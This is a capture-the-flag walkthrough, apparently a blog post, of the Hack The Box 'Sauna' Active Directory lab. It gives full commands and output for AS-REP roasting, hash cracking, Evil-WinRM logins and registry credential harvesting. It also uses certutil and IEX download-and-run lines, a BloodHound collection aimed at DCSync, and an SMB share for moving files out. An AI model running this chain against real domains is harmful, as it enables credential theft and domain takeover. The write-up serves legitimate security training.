As always we start with an nmap scan

# Nmap 7.80 scan initiated Tue Feb 18 03:17:50 2020 as: nmap -A -oN allports
Nmap scan report for
Host is up (0.076s latency).
Not shown: 988 filtered ports
53/tcp open domain?
| fingerprint-strings: 
| DNSVersionBindReqTCP: 
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-18 16:19:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h01m51s
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled and required
| smb2-time: 
| date: 2020-02-18T16:22:19
|_ start_date: N/A

TRACEROUTE (using port 445/tcp)
1 100.30 ms
2 100.29 ms

OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Tue Feb 18 03:23:06 2020 -- 1 IP address (1 host up) scanned in 317.70 seconds

The most interesting ports open were: HTTP(80), Kerberos(88) and Win-RM (5985) .

I enumerated the Ldap port:

└──╼ $ldapsearch -x -H -s base namingcontexts
# extended LDIF
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 

namingcontexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
└──╼ $

Next the most interesting part was:

root@kali:~/htb/sauna# ldapsearch -h -p 389 -x -b "dc=EGOTISTICAL-BANK,dc=LOCAL" > ldaplogall.txt
root@kali:~/htb/sauna# ls
allports ldaplogall.txt


root@kali:~/htb/sauna# ldapsearch -x -H ldap:// -D 'EGOISTICAL-BANK\hsmith' -w 'Thestrokes23' -b "dc=EGOTISTICAL-BANK,dc=LOCAL" > ldaplogall.txt

Now we have a possible username: “ Hugo Smith ”.
If you try to ASREPRoast that user you will find that it doesn’t exist. So I tried variations of the name and found one that was indeed a valid user: hsmith .
Variations I tried:

Hugo Smith
smith hugo

Found user:

root@kali:~/htb/sauna# -dc-ip EGOTISTICAL-BANK.LOCAL/ -usersfile hugosmith.txt
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] invalid principal syntax

So, now we have a valid user “ hsmith ” but no password…
It’s time to take a look to the web server. In there you will only find a few html pages, some
of them contains interesting names:

So, that we know the format that is being used to create the usernames, let’s check this usernames:


We found that the user “ fsmith ” is vulnerable to ASREProast and we have obtained the crackable “hash”.

root@kali:~/htb/sauna# -dc-ip -no-pass EGOTISTICAL-BANK.LOCAL/FSmith
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for FSmith

So, let’s crack it with john /hashcat and rockyou:

└──╼ $hashcat -m 18200 ego.hash /usr/share/wordlists/rockyou.txt --force
hashcat (v6.1.1) starting...

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz, 5690/5754 MB (2048 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 204 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec


Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:bee5933...0e3e14
Time.Started.....: Sat Sep 24 20:49:12 2022, (12 secs)
Time.Estimated...: Sat Sep 24 20:49:24 2022, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 881.0 kH/s (7.26ms) @ Accel:32 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10551296/14344385 (73.56%)
Rejected.........: 0/10551296 (0.00%)
Restore.Point....: 10534912/14344385 (73.44%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Tioncurtis23 -> TUGGIE

Started: Sat Sep 24 20:48:53 2022
Stopped: Sat Sep 24 20:49:25 2022
root@kali:~/htb/sauna# john ego.hash -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:33 DONE (2020-02-18 04:48) 0.02995g/s 315720p/s 315720c/s 315720C/s Thines..Theredwolf_120691
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Credentials found: fsmith:Thestrokes23
Now, just connect via Win-RM and grab the user flag:

root@kali/opt/evil-winrm# ruby evil-winrm.rb -u fsmith -p "Thestrokes23" -i EGOTISTICAL-BANK.LOCAL

*Evil-WinRM* PS C:\Users\FSmith\desktop> type user.txt
*Evil-WinRM* PS C:\Users\FSmith\desktop> certutil -urlcache -split -f C:\Users\FSmith\Documents\WINPEAS.exe


I started enumerating the box using winPEAS

*Evil-WinRM* PS C:\Users\FSmith\Documents> ./winpeas.exe systeminfo userinfo
ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Creating Dynamic lists, this could take a while, please wait...
- Checking if domain...
- Getting Win32_UserAccount info...

  [+] RDP Sessions(T1087&T1033)
    Not Found

  [+] Ever logged users(T1087&T1033)
  [X] Exception: System.Management.ManagementException: Access denied 
   at System.Management.ThreadDispatch.Start()
   at System.Management.ManagementScope.Initialize()
   at System.Management.ManagementObjectSearcher.Initialize()
   at System.Management.ManagementObjectSearcher.Get()
   at winPEAS.UserInfo.GetEverLoggedUsers()
    Not Found

  [+] Looking for AutoLogon credentials(T1012)
    Some AutoLogon credentials were found!!
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

or it can be done manually

*Evil-WinRM* PS C:\Users\FSmith\Documents> REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultUserName REG_SZ EGOTISTICALBANK\svc_loanmanager
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ 
LegalNoticeText REG_SZ 
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0x8e3982368
ShutdownFlags REG_DWORD 0x80000027
DisableLockWorkstation REG_DWORD 0x0
DefaultPassword REG_SZ Moneymakestheworldgoround!

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey
*Evil-WinRM* PS C:\Users\FSmith\Documents>

It found some interesting credentials inside the Winlogon registry:

There isn’t any user called “ svc_loanmanager ” but there is one called “ svc_loanmgr ” svc_loanmgr : Moneymakestheworldgoround!
And you can connect to it with the password extracted from the registry:

You can also use Sharphound to enumerate the Domain and you will find that the user svc_loanmgr has permissions to execute DCSync against the DC:

We can use Bloodhound to enumerate and visualise the Active Directory domain, and identify possible attack chains that will allow us to elevate our domain privileges. The bloodhoundpython ingestor can be used to remotely collect data from the Active Directory. Then, we can run
bloodhound to visualise any available attack paths.

sudo apt install bloodhound
sudo pip install bloodhound-python
bloodhound-python -u svc_loanmgr -p Moneymakestheworldgoround! -d EGOTISTICAL-BANK.LOCAL -ns -c All

Start neo4j server.

neo4j console

Then type bloodhound to access the BloodHound UI. When bloodhoundpython is finished,
compress the files into a zip and upload it

root@kali:/opt/evil-winrm# ruby evil-winrm.rb -u svc_loanmgr -p "Moneymakestheworldgoround!" -i EGOTISTICAL-BANK.LOCAL

Info: Starting Evil-WinRM shell v1.6

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> powershell -command "IEX(New-Object Net.WebClient).DownloadString(''); Invoke-BloodHound -CollectionMethod All -Verbose -LdapUSer 'svc_loanmgr' -LdapPass 'Moneymakestheworldgoround!'"
Initializing BloodHound at 5:42 PM on 2/18/2020
Adding Network Credential to connection
Resolved Collection Methods to Group, LocalAdmin, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets
Building GUID Cache
Starting Enumeration for EGOTISTICAL-BANK.LOCAL
Adding Network Credential to connection
Waiting for enumeration threads to finish
Status: 60 objects enumerated (+60 ì/s --- Using 83 MB RAM )
Finished enumeration for EGOTISTICAL-BANK.LOCAL in 00:00:00.4511238
0 hosts failed ping. 0 hosts timedout.
Waiting for writer thread to finish

Compressing data to C:\Users\svc_loanmgr\Documents\
You can upload this file directly to the UI.
Finished compressing files!
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> download
Info: Downloading to

Info: Download successful!
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> exit
Info: Exiting with code 0
*Evil-WinRM* PS C:\programdata> .\Sharphound.exe -c all
2022-09-24T18:56:56.9785964-07:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound
2022-09-24T18:56:57.1192436-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-09-24T18:56:57.1506456-07:00|INFORMATION|Initializing SharpHound at 6:56 PM on 9/24/2022
2022-09-24T18:57:09.3379487-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-09-24T18:57:09.4786146-07:00|INFORMATION|Beginning LDAP search for EGOTISTICAL-BANK.LOCAL
2022-09-24T18:57:09.5098741-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-09-24T18:57:09.5098741-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-09-24T18:57:39.9005021-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM
2022-09-24T18:58:07.2442001-07:00|INFORMATION|Consumers finished, closing output channel
2022-09-24T18:58:07.2754507-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2022-09-24T18:58:07.3691997-07:00|INFORMATION|Status: 94 objects finished (+94 1.649123)/s -- Using 42 MB RAM
2022-09-24T18:58:07.3691997-07:00|INFORMATION|Enumeration finished in 00:00:57.9016252
2022-09-24T18:58:07.4473475-07:00|INFORMATION|Saving cache with stats: 53 ID to type mappings.
53 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2022-09-24T18:58:07.4473475-07:00|INFORMATION|SharpHound Enumeration Completed at 6:58 PM on 9/24/2022! Happy Graphing!
*Evil-WinRM* PS C:\programdata> dir *.zip

Directory: C:\programdata

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/24/2022 6:58 PM 11485

*Evil-WinRM* PS C:\programdata> upload


*Evil-WinRM* PS C:\temp> net use \\\share /u:puck puck
The command completed successfully.

*Evil-WinRM* PS C:\temp> cp \\\share\
*Evil-WinRM* PS C:\temp>
└──╼ $sudo impacket-smbserver -username puck -password puck share . -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (,49819)
[*] User SAUNA\df authenticated successfully
[*] df:::aaaaaaaaaaaaaaaa:cc698eaf23e930262c688bcc686fffb5:010100000000000000a9108a48d0d801946617735218756000000000010010004d004700790044004d0048006d004800030010004d004700790044004d0048006d0048000200100076005a0052004a0064007a00670058000400100076005a0052004a0064007a00670058000700080000a9108a48d0d80106000400020000000800300030000000000000000000000000210000fcffb479cf1627839a9882b2cc0e3163d00d1e286c75c538f3ed06b8e7187bd80a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310030000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:share)
[*] Disconnecting Share(1:IPC$)
[*] Connecting Share(3:IPC$)
[*] Disconnecting Share(3:IPC$)




Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *